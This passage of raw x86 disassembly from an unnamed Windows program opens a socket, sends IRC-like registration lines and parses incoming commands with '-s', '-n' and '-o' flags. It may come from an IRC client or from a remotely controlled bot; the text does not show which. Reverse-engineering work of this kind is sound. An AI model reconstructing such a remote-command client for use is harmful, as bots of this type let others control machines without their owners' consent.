sub_4013C0j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E84 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax nop call near ptr 71AB9639h loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C9E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44742D mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 1B6h push eax push offset dword_4473E4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 push edx push offset dword_4472C0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447352 mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 0DBh push eax push offset byte_447309 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 add edx, 92h push edx push offset byte_44739B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474BF mov ecx, offset word_448D16 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2821BE4h jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44736C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_447309 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h nop call near ptr 2821BE4h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EFFD5 nop add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx call near ptr 71AB2BF4h nop push offset byte_446F70 mov ecx, offset byte_44739B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44739B call sub_4017E4 mov edx, dword_44711C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_447124 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 mov ecx, dword_447120 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27F06DAh lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473E4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470FC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_447100 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov ecx, dword_447104 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447138 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44713C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_44710C push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447114 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447110 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447844 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F70 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F70 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C88 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C88 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F70 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E85 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, 